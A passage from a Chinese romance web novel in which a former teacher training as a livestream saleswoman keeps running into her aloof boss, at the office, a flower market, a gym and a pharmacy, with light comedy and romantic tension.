“长江后浪推前浪,无名小卒来闯荡。天若有情天亦老,给个爱心好不好?哈喽,各位亲亲,今天是我的首秀,麻烦家人们多多支持哟~”
“这件衣服我不说价格,你们猜猜看。…猜899的都有?实际今天只要299!比双十一还便宜!”
“…现在看一下库存,只有最后8单了,库存马上要清了,手慢无哦~小令再给一波福利好不好,再降一百,已经是出厂价了宝宝们。来,准备!321,上链接!”
台上的女人样子温柔,说话也秀气,没想到直播起来不仅放得开,还很会带动气氛,出乎所有人的意料。有时从她嘴里蹦出的话还挺逗,台下不时发出笑声。
曾行看着她眉飞色舞的模样,略思片刻,拿起了手机。
培训持续了三个小时。散会后,大家一起坐电梯。文令仪站在曾行的后面,进到电梯里,她站到了角落,旁边就是他。两人离得很近,肩膀的衣服贴到一起。
可能是因为他现在是她顶头上司的原因,心里有些怵。特别是培训后的总结会,她很想听听他的建议,但他始终不发一言。
这时,郭主任开口问道:“大家今天辛苦了,要不一起吃个午饭吧?第一次聚在一起,互相热络热络,增进了解。”说完后又看向曾行:“总主任也一起来吧?”
喻妍笑道:“太好了,第一天来就可以团建,总主任也来嘛。”
秘书袁赶紧道:“最近主任胃不舒服,可能不方便来。”
郭主任:“怎么回事?没大碍吧?”
曾行的声音听上去懒洋洋的:“没事,老毛病了,不经常在外面吃就行。”
喻妍:“那太可惜了,总主任要多注意身体哟,以后有机会我们再一起约饭。”
曾行胃病犯了,不能在外面吃饭?文令仪想起不久前他生了场病,算算时间,刚好就在他们出去吃完烧烤之后。
该不会就是那顿烧烤引发了他的胃病吧…那她岂不是罪过大了?
折腾了一上午浑身不得劲,文令仪到家后就倒在了床上。想起那顿烧烤,她还是觉得不妥,拿起手机打开Soulmate给他发信息。
“你胃不好怎么不早说?早知道那日就不去吃烧烤了。”打完她觉得这样像责怪的语气,又删掉换了一句。
“你的胃发病,是不是因为吃了烧烤?”
过了一会,对面来信了:“是啊。”
本还猜测他是不是根本懒得理,没想到他这次这么直白,直接承认了。还真是因为和她去吃了烧烤。
她一个鲤鱼打挺从沙发上坐起,盯着屏幕半晌不知要怎么说。
直接关心又好像显得她太在乎,说得不在意也不合适。
好歹现在人家是她的老板,小命还攥在他手里呢。
最后她选了个故作轻松的语气:“早说嘛,那日就带你去吃小米粥配窝窝头了。”
“…”
下一秒,她看到曾行发来了无语的表情。想到他那张冷傲臭屁的脸现在很不好看,文令仪就觉得真好玩。
“后天来宣传部一趟。”
她心里一咯噔:“干嘛?”
“领导谈话。”
“…”
16. 嘴真硬
完了完了,文令仪后悔为什么胆大包天要拿草棍戳老虎的鼻子眼儿。
明天他不会出尔反尔要公报私仇和自己解约吧…何况她今日的表现有点一言难尽…
整晚她都心神不宁,睡觉前还在复盘自己做的不够的地方,一一列出需要改进的点,很晚才睡着。
去往宏天的地铁上她收到了曾行的消息,是条语音:“来市场部主管办公室找我。”
她的心猛地一跳,这语气有点不善啊。又宽慰自己是不是想多了,他说话的口气不一直都这样?不咸不淡中带着疏离。
站在办公室门口,她呼出一口气,定定神敲响了门,里面传出曾行清冷又很苏的声音:“进来。”
进门后,她看到曾行背对着她,正在书架前拨弄一个飞机平衡木,笔挺的西服没有一丝皱痕。看她来了,他用下巴朝桌前的转椅扬了扬:“坐吧。”接着走到旁边靠墙的茶几处:“喝茶还是咖啡?”
文令仪哪有心情喝饮料?如果是在学校,领导单独请你来喝东西,那多半是要开始整你了。给你饮料喝是先表示客气客气。
“茶吧。”
见他慢条斯理地泡茶不说话,她忍不住道:“总主任,找我有什么事呢?”
曾行瞥了眼她眼底的青黑色:“昨晚没睡好?”
“有点。”
“怎么,怕我今天要吃了你?”
“…”文令仪觉得他这话有点像虎狼之词,但她觉得自己想多了,低声道:“领导单独‘请喝茶’,多半没好事。”
曾行见她低垂着头,像根蔫了的秧苗,觉得有点好笑。先前她在他车上大喇喇就往他身边靠,现在就这点胆子?
“果然是个老实人。”
文令仪不解其意:“什么?”
“说你呢,像老实人豁出去的感觉。”
文令仪的脸蹭地红了,果然被看出来了…昨天模拟直播她把自己所有的e人细胞都用完了,梗着脖子叫唤买卖。平生头次这么不要脸…
“要看看吗?”
“什么?”
“你昨天直播的视频。”说着他递过来手机。
文令仪其实很不想看,猜也知道直播的效果不好,肯定尬出天际了…但她无法拒绝,只能看视频。
越看脸越红,越看越想死,曾行拍摄的角度正对着她,面部表情和肢体动作看得一清二楚,她看到自己昨天和菜场里叫卖猪肉的大妈没两样,眼睛圆睁,动作僵硬,连胳膊肘向内拐,往前冲锋的动作都出来了。
“…”
“如何?”曾行抱臂靠在椅背上,眼里浮起浅浅笑意。
“不…不太好。”文令仪如坐针毡。
“改掉不妥的地方。”
“好,我保证。”
“嗯,你走吧。”
“就…没事了?”
曾行抬头挑起眉:“你想有事?”
“不…不不。”
如获大释,文令仪提起包往门口走,突然曾行叫住她:“等一下。”
“?”又要做什么?他反悔了?要辞退她?她心如擂鼓。
曾行没有抬头,依然在看文件,时不时用笔划记一下,状似随意道:“其实你的视频也不是一无是处。”
“嗯?”
“至少镜头感还不错。”
镜头感不错,言下之意是她生得不错,上镜好看?文令仪不知是不是可以这样理解,她实在觉得和曾行沟通不顺,他的很多话需要猜。从经济学上说,和他说话不经济,因为耗时耗力耗心!
出门后,她一直在琢磨他这样说是什么意思?是不是对她的外貌表示一种肯定?
他终于不只是记得她呕吐的模样了?
她嘻嘻笑着发过去短信:“你说的镜头感不错,是指我上镜好看?”
“自己想。”
“…”
得,对话失败。每次和他说话,文令仪都气得想扔手机。她要是能猜得到他那七弯八绕的心,问他干嘛?
这时,曾行又发来了几个视频,当中除了她,还有几个其他主播的视频。而且竟然和她长得有点像。
什么意思?她不如她们?
很快,曾行又发来消息:“找到自己的人设定位。”
她想了想,忽然恍然大悟,她没必要非学这种张扬、聒噪的风格,恬静、优雅也有自己的受众。他发来的视频里的主播都选择了合适自己的路子,没有盲目跟风,照样很有流量,在竞争激烈的直播市场获得了一席之地。
南方的秋日好像一个短暂停留的旅客,往往十天半月的歇足了脚就走。而冬日来得缠绵,淅沥小雨不断,天气湿冷。
难得一个晴朗的天,曾行被容世奥叫出去打网球。数个阴雨天,他都是在家健身,看天气不错,同意和他去了网球场。
容世奥的网球打得不错,和曾行也算棋逢对手,几场下来,两人打得大汗淋漓,全身毛孔都透着舒畅。
瞧着曾行的脸色不错,容世奥笑眯眯道:“你是不是新换了台RB17?”
“没有。”
“咱俩一起穿开裆裤长大的人,你也要瞒我?来时我都看见了,这辆车真他妈的拉风。不行,我今天非要坐你的车回去,也让兄弟感受感受。”
曾行凉凉睨他一眼:“还来?要不是你车买得太多,你家老爷子能限制你消费,给各个车企亲自打电话不要卖给你车?收着点吧你。”
“…我不。没得肉吃,喝喝汤还不行了?”
“不行。”
“我看你取这个名字就是浪费!曾行,应该要行才对,说什么不行呢!”
曾行懒得和他废话,径直朝车走。但是容世奥牛皮糖一样黏了过来就是不肯走。无奈之下,曾行只好让他上了车。
一上车容世奥就哇哇叫个不停:“哇,这个内饰。哇,这个方向盘。哇,这个真皮手感。”
曾行不堪其扰:“再他妈哇一声试试?立马给我滚下去!”
“嘿嘿,我和你是兄弟吗?”
“…不是。”
容世奥两手一拍:“嘿!就因为不是兄弟,我要争当你兄弟,开车送你回家。”
“?你想开车?”
“不,是开车送你,主要是为了送!你!”
“…”
曾行坐在副驾驶,车速飞快,他身子有些晃动,抓紧了扶手。
“你他妈的慢点!”
“哇塞,这梦寐以求的动力,这扣人心弦的速度,我的梦中情车啊!”
“…你他妈这是往哪开?”
“去花市。”
“去那干嘛?”
“我妈今天从瑞士度假回来,想送她一束花。”
“哦。”
知道曾行和父母的关系并不
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融洽,容世奥难得地从前方移开眼望了他一下:“我也挺久没见她了,随便挑束,买完就走。”
曾行不答话,静静盯着窗外飞驰而过的街景。
过了一会,容世奥道:“要不等会我也买束送你?你喜欢什么花?玫瑰行不?”
“…滚!”
今日是周末,花市的人川流不息,他们似乎都很幸福,出来的人手里拿花,个个展开笑颜。
曾行看也不看外面,手肘撑在窗檐上支着头。
容世奥问他:“你不下去看看?”
“有什么好看的。”
“俗话说,来都来了。”
“你要去的话赶紧,少放屁。”
“那哥们我走了。”
刚要下车,容世奥看到左侧也摆了几个摊子,其中一个卖家看着有点面熟。
他胳膊肘推推曾行:“卧槽,这么巧,这不是之前点你的模子哥那位么?长得还挺漂亮。”
曾行猛地看向车左边,文令仪站在几个婆婆老老的中间正在兜售花草,她束了一个低马尾垂在左侧肩上,穿了件休闲卫衣,没有化妆,整个人看着简单清爽。
偶有几个顾客过来询问,她微微倾身答话,面带笑容,看起来温和友好,并不谄媚。顾客一走,她又立马站直了身子,没有追着叫卖。
看来他说的话她听进去了,她找了一种适合自己的方式兜售商品。
容世奥嘻嘻笑着:“你怎么看这么入神?爱上你的顾客了?”
“滚!你要买快去,磨叽什么?”
“说真的,她上次点你肯定是看上你了,要不你去把她弄到手啊,你都好久没谈恋爱了吧?血气方刚的憋着不好。”
“你忒么的今天话怎么这么多?”
“我这不是关心你?你要不去我去了?这妹子盘靓条顺的,看着就床上不错。桀桀桀。”
曾行的眼神刀了过去:“收起你那点花花肠子,少祸害人!”
“曾哥,别别!我就是图个嘴爽。”
曾行坐在车上看到容世奥走向文令仪,她见到他露出诧异的表情,小鹿般的眼睛扑闪扑闪,朝车这边望过来。他下意识地往后靠避开了她的目光。
不知容世奥和她说了什么,文令仪笑得眼弯成了月牙,露出珍珠一样的小牙,她立即用手捂住了嘴。
回车上的时候容世奥捧了束花,还提了一盆小发财树。
“你猜她为什么在这里卖花?”
“不知道。”
“她说她想做直播,但不习惯网上的那些兜售方式,所以在这练习呢!这姑娘还挺努力,上次我看她要点模子,还以为是什么不正经的人。”
“卖个花就正经了?”
“话也不是这样说,她这段时间天天都来,算有点毅力吧,反正看着不像天天混饭吃泡模子的人。”
曾行嗤了声没再答话,脑子里却始终回响一句话:她为了直播天天来卖花。
当惯了老师,她应是很不适应拉下面皮站在集市卖东西的,但她没有退缩也没有放弃,收起了以前那份工作带给她的自尊心,自如地在花市摆小摊。
“你那不是最近也想打造直播平台么?干脆英雄救美,给了她这份工作。”
“我不是什么英雄,她嘛…”曾行朝文令仪看去:“勉强还算个美人。”
容世奥切了声:“嘴真硬。”
17. 我能摸吗?
去了一段时间花市,加上在宏天的培训,文令仪又试着录了一段直播的视频,她发现自己的表情不再浮夸,动作也自然了许多。
可是新的问题又来了。
宏天推广的衣服大都设计精致、剪裁贴身,需要穿s码才能比较完美的展现效果。她发现喻妍已经瘦到没有赘肉,无论从哪个角度上镜视觉效果都好。虽然文令仪觉得自己也算瘦了,但当机位换到她的侧面,肚子上的肉肉立马突起,屁股也有点塌坠。
一共就招了她们两个女主播,她难免会不自觉和另一名作比较。而且女人的直觉很敏感,她隐约也察觉了喻妍对她有敌意,视她为竞争对手。离正式直播还有一周的样子,她决定要利用这段时间再瘦下去一点,争取达到最佳的视觉效果。
她报了一家排名第一的健身房,当然价格也比别处高很多。当月的工资发下来后,眼也不眨去报了名。
文令仪并不是一个多喜欢锻炼的人,只偶尔会去散步或者找闫静打羽毛球。这次去健身房,她专门买了健身服、鞋子还有水杯。
收拾齐备后她刚要出门,包里的手机震动起来。
看到屏幕上亮着“贺天翔”几个字,她眉头倏然皱起,语气也很冰冷:“喂?”
“你打算拖到什么时候?”
“怎么?你赶着去投胎?”
“文令仪,我劝你口气放尊重点,我这录着音呢。我对你已经没有感情了,你再这么拖下去没有意义,知道吗?”
要不是连一秒都不想浪费在这种人身上,她肯定要吵上一架。贺天翔为了离婚,现在就像个无赖,财产一分都不想给她,还要将所有的错怪在她身上。
最让她气血上头的是,他竟然还觉得她舍不得和他离婚!!!这真是自己活到现在受过的最大的侮辱。
呼出一口浊气,她平复了下心情,镇定道:“首先,你得明白,我暂时没有签字并不是还喜欢你。说真的,我现在连听到你的声音都觉得恶心。其次,你提的离婚条件太过不合理,我不会同意的。如果你坚持不和解,那我们法院见吧。”
电话那头传来一声冷笑:“行啊,法院见,到时你别后悔!”
文令仪挂断了电话。好笑,她有什么后悔的?她已经在收集一些证据,等到了法院,会跪地求饶的是贺天翔。
虽说已经在提醒自己不要理会这通电话,她还是受到了影响,开车时她比平常要开得急,踩刹车时也重很多。有一个绿灯她没有冲过去,头差一点磕在了方向盘上。
进了健身房后,她的坏情绪才逐渐驱散。时值冬日,这里开了暖气,她感到了阳春三月般的暖意。正在运动的人身形矫健,很有蓬勃的力量感。她走到一台跑步机前准备暖身,看到一个女人正在迈力爬坡,她专注的样子同样感染到了她。
十分钟暖身运动后,她的身体热了起来。先去练哪部分好呢?她低头看了看腰上的赘肉,撇撇嘴,到器械区拿瑜伽垫。
这片区域是男人们喜爱待的地方,她挑了床毯子转身看到一个高大挺拔的男人正在举哑铃。他的身形肩宽腰窄,肌肉线条优美,重点是他是薄肌,不像有的人练得肌肉过于发达,看起来很魁梧。
文令仪不喜欢看那种身材,甚至觉得有点突兀恶心,而眼前的男人就不会,健美而有力量,练的程度刚刚好,从后面看简直完美。就是不知脸帅不帅。
要是个帅哥就钓回去一度春宵。不知怎么,“曾行”的名字突然这时蹦了出来。
额…想他干嘛。她在他心里的形象已经废了,估计睡不到。而且,双管齐下也不错啊。桀桀桀。
她站起身悄悄从他后面往旁边挪,想从镜子里看清他的脸。等她慢慢挪出来看到镜子里的人时,整个人石化住了——是曾行!
一张轮廓分明的脸,深邃的桃花眼里透着疏冷和不可一世,不是他是谁?
今天是碰了鬼了,想什么来什么…
想趁他不注意走掉,可镜子里的那双桃花眼的视线转向了她,两人的视线刚好相触。
“!”
哦豁,偷看被抓包!文令仪,你的运气真好呢!
曾行停下了动作转身看着她,嘴角勾起:“好看吗?”
“不不…嗯嗯…”她下意识想否认,又忽然想起要是说他不好看,是不是也会得罪他?
见她脸羞得通红,兵荒马乱的样子,曾行觉得好笑。
还是做老师的,真就这点出息了。
他朝她浑身上下打量一眼,文令仪穿着健身服,显露出纤细的四肢,脑后的高马尾清爽利落,整个人是不同于平时的朝气。
下巴扬了扬:“你想练腰?”
“不不不,我想躺平。”文令仪哪还敢继续在这一块练腰,赶紧收起垫子溜之大吉。
“…”曾行看着她落荒而逃,下阶梯时还差点绊一跤,深邃的桃花眼眯了眯,摇摇头继续做哑铃。
连续练了三组手臂,他觉得这一块的运动量够了,按照往常的习惯打算去练核心。下了阶梯朝另一边走,看到文令仪一个人在练背。这人估计是第一次来健身房,连配重片都不会调节,选的竟然是最轻的那块。他走过去估摸着她可以承受的力度换了一块。
文令仪原本做得非常的轻松
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,突然看他捣鼓了什么,手上的重量骤然加重,她憋得面皮通红才将杠子拉下来,连续做了三下已经手臂酸胀,很是难受。
她哀怨的眼神飘了过去:“你想累死我?”
曾行走到她身后,手轻触她的肩膀:“你发力的姿势不对,用肩膀带动手臂,而不是纯靠手发力。”
感受到他的手指覆上来,文令仪觉得那一块的皮肤瞬间烧烫起来,连带着耳根也红透了。她不敢回头,支支吾吾:“这…这样吗?”
她的两条细胳膊拉扯几下,丝毫不到位。
“你是在织布?”
“…”
曾行一手扶着她的肩,一手去拉器材:“喏,感受到了吗?”
文令仪吞吐地答应,注意力都放在了他温热的掌上。他们的前面是一块很大的镜子,两人一前一后看起来贴的很近,显得有那么点旖旎。
“你往哪看?”
“…”不好,又被抓包!曾行是属鹰的吗?眼睛这么尖!
“你先起来,看下我怎么做的。”
乖乖从椅子上站起来,她两手在身前交握站在一旁看他做动作。
曾行调节配重片,她看到他换了一块很大的,吞咽一口:这男人力气这么大的么…
“注意看,你初次做上位下拉器找不准发力点是正常的,因为下拉的过程中非常容易用手臂使力。其实你的手臂可以先放松,注意点集中在肩部,然后这样下拉…”
他的动作十分标准,不亚于专业的健身教练,很有说服力。但文令仪不受控地注意力转偏了。额…她也不想这样,但此男现在的模样实在很蛊。
他的手臂乃至肩部的肌肉开始贲张,宽阔的背肌将衣料拉扯出紧绷的斜线。坚实的□□为他彰显男人特有的粗犷感,强烈的荷尔蒙气息在释放。
她目不转睛盯着他时而松弛时而鼓囊的肌肉,很没有出息地…额…馋了。奥不,是欣赏。嗯,欣赏。
之前她以为他很瘦,没想到实际上身材这么好,属于脱衣有肉,穿衣显瘦的人。
她的脑袋里突然冒出一个念头。
曾行无奈地发现旁边的女人又走神了,眼睛一直盯着他的身体,脸颊还略略发红,也不知她现在在胡思乱想什么。
他停下来,手在她脸前晃了晃:“丢魂了?”
“…”文令仪的目光开始汇焦,觉得自己冒出的念头很邪恶。她发现自己对眼前的男人产生了极强的生理性的欲望——想睡了他,不管明天。
她盯着他壁垒分明的腹肌,毛着胆子问出了口:“我能…摸你吗?”
“?”
18. 菜还爱玩
想…摸他?
正云里雾里这个女人又想干什么,就听她道:“好奇你的肌肉到底有多硬”。
曾行愣了两秒,随即压抑着声音低低笑开。
他站起身,因为个高肩宽,文令仪感到了极强的压迫感,下意识往后退却被他抓住手按在了腹肌上。
“不是要摸吗?满足你。”他声音里带着戏谑:“怎么样?要不要再试试这儿?”说着便引着她的手往胸口移。
隔着一层薄薄的背心,她触摸到了他坚实的肌肉轮廓,一种异样的感觉在身体流淌,手指仿佛电到了一样,她猝然缩回了手。
曾行看到她的脸由白转红,又由红化为透骨的深绯,像炉火上的瓷胎,烧得快要冒出烟来。
在原地呆了几秒,文令仪反应过来,扔下一句“你…你干嘛?我开玩笑的”拔腿就跑。
曾行看到她连脖子后面都是红的,哈哈笑出声来。
“菜还爱玩。”
文令仪觉得这家健身房很大,可她避无可避,无论到哪里她的脑子里都是曾行刚刚看着她的表情、动作还有声音。她甚至错觉他的身影还跟在身后,不住回头看,但她的身后没有人。
她看到镜子里的脸已经熟得可以烤鸡蛋,用手在颊边不住扇风,好半天才觉得温度降下来。
刚刚也太丢脸了…想撩人结果自己被撩得不要不要的。奇耻大辱!
曾行练完核心浑身汗已经湿透,收拾了东西准备去洗澡,可文令仪熟透的脖子隐隐浮在眼前。鬼使神差地他特地绕了一圈想看她脖子还红不红。他觉得自己有点恶趣味了,逗她逗上瘾了不是?
他今天忘了带水壶,走到饮水机拿了个纸杯接水仰起脖子一饮而尽,又叼着杯子到处晃悠。走到器械区,他看到了文令仪,她又回到了这里练仰卧起坐,一个肌肉发达的男教练正在旁边数数。
“五、六、七、八…”
还不到十个,文令仪就累得直喘气,身体软得像棉花。
曾行叼着杯子抱臂靠在一台器械的扶手上,鄙视地看着文令仪费劲巴拉做仰卧起。
这个女人的体力还真不怎样,要是在床上…
这个念头蹦出,他心跳漏了一拍,自己都觉得不可思议。是他空窗太久了吗…他对这个当初吐了他一身的女人产生了性幻想?!
文令仪觉得自己的腹部酸胀难受:“教练,不行,我做不下去了。”
“你的姿势不标准,我来帮你压脚,你可能会舒适点。”
教练说完蹲下身子,曾行看到他捏住文令仪纤细的脚踝,又用手碰到她的膝盖。
“这里要夹紧。”
但是经过姿势的调整,文令仪觉得更累了…连做起一个都费劲。
“我不行了,不做了。”
“加油奥,你可以的,再来一个。”
一个都要命啊!她不想继续了,可又觉得人家在鼓励她,直接放弃有点不近人情,干脆松开手抱着大腿,借由手臂的力起身。要不就每次只起来一点点,肩胛骨刚离开地面就躺了回去,主打一个随性。
“好,不错,非常棒,加油,你可以的!”教练好像没看到她在划水,嘴里不停吹捧。
曾行翻了个大白眼,这个教练是瞎了吗?水都放到太平洋了,还“非常棒”?
文令仪舒舒服服做了几个动作后就看见曾行冷脸站到了旁边,差点一口气没顺上来,腹部猛地一抽,眉毛鼻子都疼得皱到一起。
“你…你怎么来了?”
“您去忙,我来帮她。”
教练看到是一个比自己还高半头的英俊男人主动要求帮这位女士,料想应是她的男友来了,识趣地走了。
巴巴看着他走远,文令仪心里哀嚎:不要啊!
“看什么看?你刚才没有一个动作做对,重做。”
“…我腰力不行,只能这样了。”
“看出来了,腰不好。”
“…?”
“作为你的项目领导,有必要帮你塑形,不然衣服都要被你穿走样。起来,继续。”
他没有用手去捉她的脚踝,而是换成脚夹在她的脚两侧。
“手抱住头,避免伤脖子。你可以不要完全用手肘触碰膝盖,半坐起来也会有效果。”
“嗯嗯。”试做了几个,文令仪确实感到腹部的力用到位了,也没有那么累。她起先做了几个半起来的仰卧起,适应后完全起来用手肘碰到了膝盖。
她的脸因为运动而爬上健康的红晕,鼻头也开始渗出细密的汗珠,每次坐起来,她精致的小脸在他面前渐渐放大又躺倒,温热的呼吸近在咫尺。
曾行意识到刚刚在脑里出现的念头又出现了,而且这次停留的时间变得更长。
是的,他想和她发生点什么,而且是,很想。
文令仪的注意力都在腹部上,没发现曾行的凝视,连续做了十几个后已经到了她的极限。
“我不行了我不行了。”
“休息1分钟再来一次。”
擦!这人是魔鬼吗?
“放过我吧…”
曾行一记眼刀飞来:“直播效果…”
“我做!”
“嗯,先喝口水。”
他终于说句人话了。文令仪开心地去拿水杯,喝了几口却不回去,磨磨蹭蹭站在原地盖盖子,绑头发,扯衣服。
曾行早看出了她这些小伎俩,朝她勾勾手指:“过来。”
“…”被拆穿了…
她缓慢往回走,没想到撞见喻妍从门口进来。她化了淡妆,给人一种清新感,本就好的身材穿上健身服后更显得玲珑有致。从她进门起就有好几个男人不住地往她身上瞟,喻妍似乎已经习惯了,目不斜视,走路时稍稍扬起她尖翘的下巴。
她看到文令仪后轻点点头,然后移开眼神。知道她对自己不热情,文令仪也不抱期望她会和自己打招呼,也只是点点头回应她。
喻妍的眼神落到了正坐在地上的曾行,诧异一瞬,笑着走过去:“嗨,总主任,这么巧,在这遇见了。”
她弯着腰,低胸的紧身衣里深壑的□□毕现。曾行没有抬头:“真巧。”
然后继续命令文令仪:“你还杵着干嘛?过来继续。”
在喻妍打量的眼光中,文令仪缓慢走了过去继续躺好。
“你们一起来的?”喻妍问道。
“不是。”文令仪听曾行很快回道。
喻妍似乎松了口气的样子,声音里带了娇嗔的意味:“我还以为你们团建不带上我呢。”
曾行拍了拍文令仪的腿:“继续啊。”
“奥。”
喻妍:“总主任在帮令仪姐做仰卧起?”
“嗯。”
“主任人真好哦,待会也帮帮我好吗?没人帮我按脚,腹部的锻炼效果达不到。”
“你先热身。”
“好哒。”
曾行看到文令仪膝盖分叉,懒懒起身,好像在做慢动作一样,真要被她气笑:“这样没有效果。”
“没有就没有呗,又不能一口吃成个胖子,我一下子做不来,已经快累鼠了。”
“真不做了?”
“不做了。”
文令仪躺在垫上抬起脖子:“她那边应该快热身好了,你快去。”
没有再说话,曾行若有所思看着她,半晌后起身走了。见他终于走了,文令仪翻了个身脸趴在垫子上大松口气。
真是个魔鬼,我腰都要断了...
脑袋放空了一会,她发现自己并没有平静,反而有一株名叫好奇的野草在体内疯狂生长,一个念头不住地跳跃:曾行是不是和喻妍腻歪在一起了?
他刚刚帮自己时没有用手抓她的脚踝,会不会对喻妍就不一样,会比对她更亲密?
一股酸流
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窜进心里,驱使她想去一探究竟,但自尊形成了另一种力拉住她不要看。
颅内天人交战,最后她还是决定不去。除了自尊心作祟,还有一个影影绰绰的原因,她害怕看到不想看的画面。
提起水壶拿上毛巾,文令仪去洗澡。热水淋在身上,她一闭眼睛脑子里像装了台巨大的放映机,还是会自动编剧那种:曾行修长的手指贴着喻妍白皙的脚踝,语气温柔指导她动作,看她腿没摆正在她的小腿掐了一把。喻妍娇笑握拳垂他,两人笑闹成一团。
她不淡定了,迫切想知道他们现在怎么样了。很早时她听说健身房是艳情的高发地,这里的帅哥靓女多,常年健身的人体能好,荷尔蒙旺盛,互相之间经常约炮。
他们两会不会也这样?又或者说,会发展成正常情侣。
这世上的事经常怕什么来什么,她穿好衣服站在镜子前抹护肤品,听到旁边两个女生说八卦。
“欸,我和你说,和我一起办卡的那个高个美女和她教练好上了。昨天我搞完健身回家,看到他们去了对面的酒店开房。”
“啧啧,胆子真大,也不怕遇到熟人。”
“这有什么?你猜酒店为什么要开在健身房对面,还不就是有需求呗。”
“看来别人说健身房乱是真的。”
抹完护肤品又吹干了头发,文令仪像只被牵线的木偶,脚步不自觉地就移动到了健身区域。她的心咚咚直跳,害怕看到他和喻妍亲密,又忍不住不看。两股力量在心里冲突,谁也不让谁。
没走多久她就看到了喻妍,她还在练仰卧起,但是身边没有人。
难道说曾行已经帮她练完先走了?
狐疑着杵了几秒,文令仪正要转身,听到喻妍喊她。
“令仪姐?”
她心里对这个称呼不受用,“姐姐姐”,叫得她好像比喻妍要老很多。
“嗯?”
“我刚刚看你仰卧起的姿势不标准,那样做起来没效果。”
“哦,怎么做才有效果?”
“喏,应该像我这样姿势才标准。”
这是赤裸裸的挑衅!文令仪瞥她一眼和自己没有差别的动作,胜负欲被激起来了。
“和我做的没有什么差别啊。”
“怎么会没有差别?”喻妍声音扬高了:“要不我们来比试一把,看看谁做得又多又好。”
“行啊,比。”人家都蹬鼻子上脸了,士可杀不可辱!
喻妍叫来了教练计时。
比赛开始后文令仪当仁不让,也不管之前腰腹的酸痛感,卯足了劲比拼。喻妍也同样卖力,一张脸涨得通红。
两名美女的比试引来了健身房其他人的注意,纷纷站在旁边围观。
计时的教练惊愕地看着她们起来躺下分秒必争,还是头次看到运动这么拼命的女人。
比赛以一分钟为准,快到时间时,突听关节“咔哒”一响,随之传来哀呼。
文令仪闪到腰了。
比赛结束。
这场比试来得就像龙卷风,刮得文令仪要散架了。她不明白怎么就头脑一热落入了喻妍的圈套,她一定看出她不擅长仰卧起坐了,故意给她难堪。
想起她比赛获胜时那个得瑟样,文令仪就觉得自己的腰更疼了…
她扶着腰一步一步走到了大厅的门口,看到外面下起了不小的雨。
糟糕!没带伞。
正愁时,一道声音落入耳里:“成残疾了?”
文令仪猛地回头,看到曾行背着包走出来。
“你怎么还没走?”她以为是下雨堵住了他,但视线往下,他的手里拿着一把长柄雨伞。
“给你发短信的人太多了?”
什么话?没头没尾来这么一句。
她不解,拿出手机来看,曾行在半小时前发来了一条短信。
“下雨了,带伞没?”
19. 昨晚太激烈了?
文令仪看着短信顿了下,笑着眨眨眼道:“你在等我?”
“你眼里进沙子了?”
“…”
“马上要直播了,你要是病了,换人麻烦。”
“奥。”她还以为他有那么点在关心她的意思,果然还是自己想多了。
曾行劲瘦的手腕提伞到半空,“啪嗒”一声,伞开了。文令仪瞅了眼他今日的装扮,挺阔的黑色风衣配上长柄伞,有一种绅士、典雅的腔调。
“我开车送你?”
“不用了,前面不远就是地铁站,到我家很方便。”
“那走吧。”
夜色的画卷在眼前徐徐铺展,万家灯火朦在雨里,一种清幽又暖融的美好。
景色清怡,雨夜静好,身边又有帅哥陪伴,本该是件美事,可文令仪的腰太疼了,连直起身都费劲,完全没有心思享受这美好的景和人。
喻妍!姐记住你了,此仇不报非君子!
曾行连连瞥了好几眼她扶住的腰,将伞往她那边挪了挪才不至于打湿她弯起的胳膊。
“做时受不了的话,可以说出来。”
文令仪觉得他的声音在这样静谧的夜里显得尤其好听,但她心里烦躁,再好听的声音也像穿过一层过滤网,阻隔得很干净。
她捶着可怜的腰:“一开始以为受的住。”
“这种事是这样,刚开始会疼,慢慢就能忍受了。”
“嗯,我忍得住。”
他们就是平常的说话声,但雨天里街上的行人少,四下里比较安静,话语传到了经过的人耳里变了味,侧头往这边望了几眼,脸上漾起不明意味的暧昧笑容。
感受到别人的视线,文令仪才察觉他们的对话好像有歧义。
神它喵的受不住...怎么听着黄黄的?她撇过脸掩饰自己的脸红,又用眼角余光偷瞄曾行的反应,但他神色如常。
他们路过一家药店,曾行停下步子:“走,进去买药。”
“啊?”
“啊什么,不买药你真等着变残疾?”
“奥。”
她跟着进了药店,服务员见是一男一女进来,女生还扶着腰脸上写满尴尬和苦楚,瞬间秒懂。
她状似自然地将他们带到一排柜子前:“请问需要什么类型的?这边有最新款的,薄度只有0.01毫米,还是水果口味的。”
文令仪朝柜上一看,差点要炸裂!这是计生用品专区,柜上一整排的避孕套。
正尬尴不知要如何措辞,曾行开口道:“我们要的是膏药,要缓解肌肉劳损的。”
店员一愣,连忙道声“不好意思”转身带路。
文令仪挠了挠脸侧,想起了和他第一次见面,她暗示他去买小雨伞,结果买来的是一盒糖。
“你脸怎么这么红?发烧了?”曾行见她落在身后没跟上来,回头看到她白皙清透的脸颊染上一片桃红,还怪可爱的。
“…没有。可能是运动了身上还发热。”
曾行在药柜上看了一圈,挑了盒膏药去付钱。文令仪上前一步拉住他:“我来付吧,我自己也可以买的,没关系。”
“钱和脸之间,我选择脸。”
“...”
付账时,她看了眼金额,一盒小小的药膏竟要好几百,又不安起来。
出了店铺,她道:“我还是转账给你吧,这盒药不便宜。”
曾行将药从她的包缝里塞了进去:“早点好,不然直播亏的钱都从你工资里扣。”
“知道勒…”差点忘了他也算个“敲骨吸髓”的资本家,自己为什么要同情他…
再往前走一段路就到了地铁口,文令仪对他道了声“谢”后却站着不动。她在犹豫要不要理会隐藏在体内蠢蠢欲动的不甘和好奇。
曾行读出了她脸上的犹豫:“有话就说。”
“那个…你经常健身?”
“嗯。”
“难怪手法熟练,看你帮别人健身也挺在行。”
“我帮别人在行?除了你,我还帮了谁?”
“就那谁啊,喻妍。”
“没帮。”
“啊?”
“啊什么,我后来去洗澡了,都没看到她。”
那股子郁气轰地烟消云散,变作一只小猫用头蹭了蹭,又软又暖。
文令仪的语气里带了几分自己都未察觉的欢喜:“那你下次什么时候来?”
“看时间。”
“奥。”
她失落下去。不过也罢了,腰这么疼,最近也去不了健身房了。
次日去公司培训,她拄着拐杖下车,走了几步从透明的玻璃看见自己像个颤巍巍的年迈老太,瞬间黑线万丈,又回去车上放拐杖。
扔掉拐杖她试着走了一步,疼得龇牙咧嘴冷汗直冒
在车库耽误了一会,到会议室后她看到人基本都到齐了。
郭主任看到她这样愣了愣:“小文,你不舒服?”
“没有没有。”
看她不愿说,郭主任也就没有追问。曾行冷沉的目光落在她腰上停留了会。
可能是昨天累到了,文令仪发现喻妍今天没有来。
